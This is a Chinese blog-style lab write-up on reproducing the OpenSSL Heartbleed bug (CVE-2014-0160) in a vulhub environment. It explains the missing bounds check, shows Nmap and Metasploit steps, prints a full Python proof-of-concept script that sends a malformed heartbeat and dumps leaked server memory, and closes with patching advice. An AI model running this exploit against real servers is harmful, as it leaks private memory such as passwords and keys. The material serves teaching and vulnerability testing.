热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

开发笔记:(CVE20140160)OpenSSL心脏滴血漏洞

篇首语:本文由编程笔记#小编为大家整理,主要介绍了(CVE-2014-0160)OpenSSL心脏滴血漏洞相关的知识,希望对你有一定的参考价值。

篇首语:本文由编程笔记#小编为大家整理,主要介绍了(CVE-2014-0160) OpenSSL 心脏滴血漏洞相关的知识,希望对你有一定的参考价值。






目录

Heartbleed

漏洞描述

漏洞原理

漏洞复现

使用MSF框架攻击

使用官方POC复现

修复方案




Heartbleed

心脏出血(英语:Heartbleed),也简称为心血漏洞,是一个出现在加密程序库OpenSSL的安全漏洞,该程序库广泛用于实现互联网的传输层安全(TLS)协议。它于2012年被引入了软件中,2014年4月首次向公众披露。只要使用的是存在缺陷的OpenSSL实例,无论是服务器还是客户端,都可能因此而受到攻击。此问题的原因是在实现TLS的心跳扩展时没有对输入进行适当验证(缺少边界检查),因此漏洞的名称来源于“心跳”(heartbeat)。该程序错误属于缓冲区过滤,即可以读取的数据比应该允许读取的还多。


漏洞描述

Heartbleed漏洞,这项严重缺陷(CVE-2014-0160)的产生是由于未能在memcpy()调用受害用户输入内容作为长度参数之前正确进行边界检查。攻击者可以追踪OpenSSL所分配的64KB缓存、将超出必要范围的字节信息复制到缓存当中再返回缓存内容,这样一来受害者的内存内容就会以每次64KB的速度进行泄露。


漏洞原理

OpenSSL“心脏出血”漏洞的问题出现在openSSL处理TLS心跳的过程中,TLS心跳的流程是:A向B发送请求包,B收到包后读取这个包的内容(data),并返回一个包含有请求包内容的响应包。请求包的内容(data)中包含有包的类型(type)和数据长度等信息。

当B收到A的请求包后,并没有的验证A包的实际长度,而是简单的把请求包data中说明的长度当作data的实际长度,于是当请求包中说明的长度与请求包数据实际长度不同时,问题就产生了。假设A构造一个请求包,它的实际内容长度只有1,而却告诉B的它的长度是65535,那么B接受到这个包后就会把A的内容完全当作65535来处理,其实到这里,问题还并不严重,最严重的问题出在,心跳的响应包还需要附带请求包的全部内容,这就需要程序做一次将请求包的数据从它所在的内存拷贝到响应包的内存里的操作。

这下就出大问题了,当拷贝的时候,程序认为A包的内容长度是65535个字节,结果A包在内存里面实际只有1个字节,于是程序不仅拷贝出了A包的内容,还“傻傻”地将A包数据在内存中位置后额外的65534个字节拷贝进了响应包里,并将这个响应包发还给了A,于是A便轻易地获得了B内存中这65534个字节的数据。想象一下,如果这65534个字节数据中包括一些敏感信息,那么后果将非常严重。而且A还可以简单地通过连续的发送心跳包,获取B机器内存中n个65534字节的数据,这个漏洞不愧是2014年“最佳漏洞”。


漏洞复现

靶机:vulhub 192.168.41.138

攻击机:kali 192.168.41.142

打开环境

docker-compose up -d
docker ps

成功打开

我们在主机访问映射的端口,如下

信息收集总在前,我们先使用Nmap进行扫描,

nmap -sV -T4 192.168.41.138

我们使用Nmap漏洞扫描脚本对443端口进行扫描检测如下:

可以看到,显示是可以利用的,接下来介绍两种复现步骤。


使用MSF框架攻击

msfconsole

search heartbleed

 use auxiliary/scanner/ssl/openssl_heartbleed 或 use 0

然后show options查看配置项

设置需要的配置如下:

这里说明,设置verbose为true是为了 看到泄露的信息;然后run运行,结果如下,

这里就可以看到 靶机的64KB信息了(如果有人此时在登录web应用,还可以直接抓到账号密码等信息)。

MSF复现完毕。


使用官方POC复现

我们查看vulhub靶机环境,查看该目录下的自带脚本。

 脚本代码如下:

import sys
import struct
import socket
import time
import select
import binascii
import re
from optparse import OptionParser
options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
def h2bin(x):
return binascii.unhexlify(x.replace(' ', '').replace('\\n', ''))
hello = h2bin('''
16 03 02 00 dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00
00 0f 00 01 01
''')
hb = h2bin('''
18 03 02 00 03
01 40 00
''')
def hexdump(s: bytes):
for b in range(0, len(s), 16):
lin = [c for c in s[b : b + 16]]
hxdat = ' '.join('%02X' % c for c in lin)
pdat &#61; &#39;&#39;.join((chr(c) if 32 <&#61; c <&#61; 126 else &#39;.&#39; )for c in lin)
print(&#39; %04x: %-48s %s&#39; % (b, hxdat, pdat))

print("")
def recvall(s, length, timeout&#61;5):
endtime &#61; time.time() &#43; timeout
rdata &#61; b&#39;&#39;
remain &#61; length
while remain > 0:
rtime &#61; endtime - time.time()
if rtime <0:
return None
r, w, e &#61; select.select([s], [], [], 5)
if s in r:
data &#61; s.recv(remain)
# EOF?
if not data:
return None
rdata &#43;&#61; data
remain -&#61; len(data)
return rdata

def recvmsg(s):
hdr &#61; recvall(s, 5)
if hdr is None:
print(&#39;Unexpected EOF receiving record header - server closed connection&#39;)
return None, None, None
typ, ver, ln &#61; struct.unpack(&#39;>BHH&#39;, hdr)
pay &#61; recvall(s, ln, 10)
if pay is None:
print(&#39;Unexpected EOF receiving record payload - server closed connection&#39;)
return None, None, None
print(&#39; ... received message: type &#61; %d, ver &#61; %04x, length &#61; %d&#39; % (typ, ver, len(pay)))
return typ, ver, pay
def hit_hb(s):
s.send(hb)
while True:
typ, ver, pay &#61; recvmsg(s)
if typ is None:
print(&#39;No heartbeat response received, server likely not vulnerable&#39;)
return False
if typ &#61;&#61; 24:
print(&#39;Received heartbeat response:&#39;)
hexdump(pay)
if len(pay) > 3:
print(&#39;WARNING: server returned more data than it should - server is vulnerable!&#39;)
else:
print(&#39;Server processed malformed heartbeat, but did not return any extra data.&#39;)
return True
if typ &#61;&#61; 21:
print(&#39;Received alert:&#39;)
hexdump(pay)
print(&#39;Server returned error, likely not vulnerable&#39;)
return False
def main():
opts, args &#61; options.parse_args()
if len(args) <1:
options.print_help()
return
s &#61; socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print(&#39;Connecting...&#39;)
sys.stdout.flush()
s.connect((args[0], opts.port))
print(&#39;Sending Client Hello...&#39;)
sys.stdout.flush()
s.send(hello)
print(&#39;Waiting for Server Hello...&#39;)
sys.stdout.flush()
while True:
typ, ver, pay &#61; recvmsg(s)
if typ &#61;&#61; None:
print(&#39;Server closed connection without sending Server Hello.&#39;)
return
# Look for server hello done message.
if typ &#61;&#61; 22 and pay[0] &#61;&#61; 0x0E:
break
print(&#39;Sending heartbeat request...&#39;)
sys.stdout.flush()
s.send(hb)
hit_hb(s)
if __name__ &#61;&#61; &#39;__main__&#39;:
main()

 我们查看需要的参数&#xff0c;输入如下命令在靶机上来运行脚本代码&#xff1a;

python ssltest.py 192.168.41.138 -p 443

成功利用。

别忘了关闭靶场&#xff1a;

docker-compose down
docker ps

exit 


修复方案

OpenSSL“心脏出血”漏洞&#xff08;CVE-2014-0160&#xff09;受影响的OpenSSL版本&#xff1a;


  • OpenSSL 1.0.2-beta
  • OpenSSL 1.0.1 - OpenSSL 1.0.1f

要解决此漏洞&#xff0c;简单粗暴的方法就是升级openSSL软件。建议服务器管理员或使用1.0.1g版&#xff0c;或使用-DOPENSSL_NO_HEARTBEATS选项重新编译OpenSSL&#xff0c;从而禁用易受攻击的功能&#xff0c;直至可以更新服务器软件。

相关文章&#xff1a;https://bwshen.blog.csdn.net/article/details/106879383

 

 

 

 

 

 

 

 

 



 



推荐阅读
  • 计算机存储系统的层次结构及其优势
    本文介绍了计算机存储系统的层次结构,包括高速缓存、主存储器和辅助存储器三个层次。通过分层存储数据可以提高程序的执行效率。计算机存储系统的层次结构将各种不同存储容量、存取速度和价格的存储器有机组合成整体,形成可寻址存储空间比主存储器空间大得多的存储整体。由于辅助存储器容量大、价格低,使得整体存储系统的平均价格降低。同时,高速缓存的存取速度可以和CPU的工作速度相匹配,进一步提高程序执行效率。 ... [详细]
  • 一句话解决高并发的核心原则
    本文介绍了解决高并发的核心原则,即将用户访问请求尽量往前推,避免访问CDN、静态服务器、动态服务器、数据库和存储,从而实现高性能、高并发、高可扩展的网站架构。同时提到了Google的成功案例,以及适用于千万级别PV站和亿级PV网站的架构层次。 ... [详细]
  • 篇首语:本文由编程笔记#小编为大家整理,主要介绍了软件测试知识点之数据库压力测试方法小结相关的知识,希望对你有一定的参考价值。 ... [详细]
  • 深入解析Linux下的I/O多路转接epoll技术
    本文深入解析了Linux下的I/O多路转接epoll技术,介绍了select和poll函数的问题,以及epoll函数的设计和优点。同时讲解了epoll函数的使用方法,包括epoll_create和epoll_ctl两个系统调用。 ... [详细]
  • Shodan简单用法Shodan简介Shodan是互联网上最可怕的搜索引擎,与谷歌不同的是,Shodan不是在网上搜索网址,而是直接进入互联网的背后通道。Shodan可以说是一款“ ... [详细]
  • 本文介绍了在rhel5.5操作系统下搭建网关+LAMP+postfix+dhcp的步骤和配置方法。通过配置dhcp自动分配ip、实现外网访问公司网站、内网收发邮件、内网上网以及SNAT转换等功能。详细介绍了安装dhcp和配置相关文件的步骤,并提供了相关的命令和配置示例。 ... [详细]
  • 本文介绍了Redis的基础数据结构string的应用场景,并以面试的形式进行问答讲解,帮助读者更好地理解和应用Redis。同时,描述了一位面试者的心理状态和面试官的行为。 ... [详细]
  • 如何使用Java获取服务器硬件信息和磁盘负载率
    本文介绍了使用Java编程语言获取服务器硬件信息和磁盘负载率的方法。首先在远程服务器上搭建一个支持服务端语言的HTTP服务,并获取服务器的磁盘信息,并将结果输出。然后在本地使用JS编写一个AJAX脚本,远程请求服务端的程序,得到结果并展示给用户。其中还介绍了如何提取硬盘序列号的方法。 ... [详细]
  • 本文介绍了Hyperledger Fabric外部链码构建与运行的相关知识,包括在Hyperledger Fabric 2.0版本之前链码构建和运行的困难性,外部构建模式的实现原理以及外部构建和运行API的使用方法。通过本文的介绍,读者可以了解到如何利用外部构建和运行的方式来实现链码的构建和运行,并且不再受限于特定的语言和部署环境。 ... [详细]
  • 图解redis的持久化存储机制RDB和AOF的原理和优缺点
    本文通过图解的方式介绍了redis的持久化存储机制RDB和AOF的原理和优缺点。RDB是将redis内存中的数据保存为快照文件,恢复速度较快但不支持拉链式快照。AOF是将操作日志保存到磁盘,实时存储数据但恢复速度较慢。文章详细分析了两种机制的优缺点,帮助读者更好地理解redis的持久化存储策略。 ... [详细]
  • Python瓦片图下载、合并、绘图、标记的代码示例
    本文提供了Python瓦片图下载、合并、绘图、标记的代码示例,包括下载代码、多线程下载、图像处理等功能。通过参考geoserver,使用PIL、cv2、numpy、gdal、osr等库实现了瓦片图的下载、合并、绘图和标记功能。代码示例详细介绍了各个功能的实现方法,供读者参考使用。 ... [详细]
  • 利用Visual Basic开发SAP接口程序初探的方法与原理
    本文介绍了利用Visual Basic开发SAP接口程序的方法与原理,以及SAP R/3系统的特点和二次开发平台ABAP的使用。通过程序接口自动读取SAP R/3的数据表或视图,在外部进行处理和利用水晶报表等工具生成符合中国人习惯的报表样式。具体介绍了RFC调用的原理和模型,并强调本文主要不讨论SAP R/3函数的开发,而是针对使用SAP的公司的非ABAP开发人员提供了初步的接口程序开发指导。 ... [详细]
  • 本文介绍了在mac环境下使用nginx配置nodejs代理服务器的步骤,包括安装nginx、创建目录和文件、配置代理的域名和日志记录等。 ... [详细]
  • 单页面应用 VS 多页面应用的区别和适用场景
    本文主要介绍了单页面应用(SPA)和多页面应用(MPA)的区别和适用场景。单页面应用只有一个主页面,所有内容都包含在主页面中,页面切换快但需要做相关的调优;多页面应用有多个独立的页面,每个页面都要加载相关资源,页面切换慢但适用于对SEO要求较高的应用。文章还提到了两者在资源加载、过渡动画、路由模式和数据传递方面的差异。 ... [详细]
  • 浅解XXE与Portswigger Web Sec
    XXE与PortswiggerWebSec​相关链接:​博客园​安全脉搏​FreeBuf​XML的全称为XML外部实体注入,在学习的过程中发现有回显的XXE并不多,而 ... [详细]
author-avatar
左手抽烟吹寂寞
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有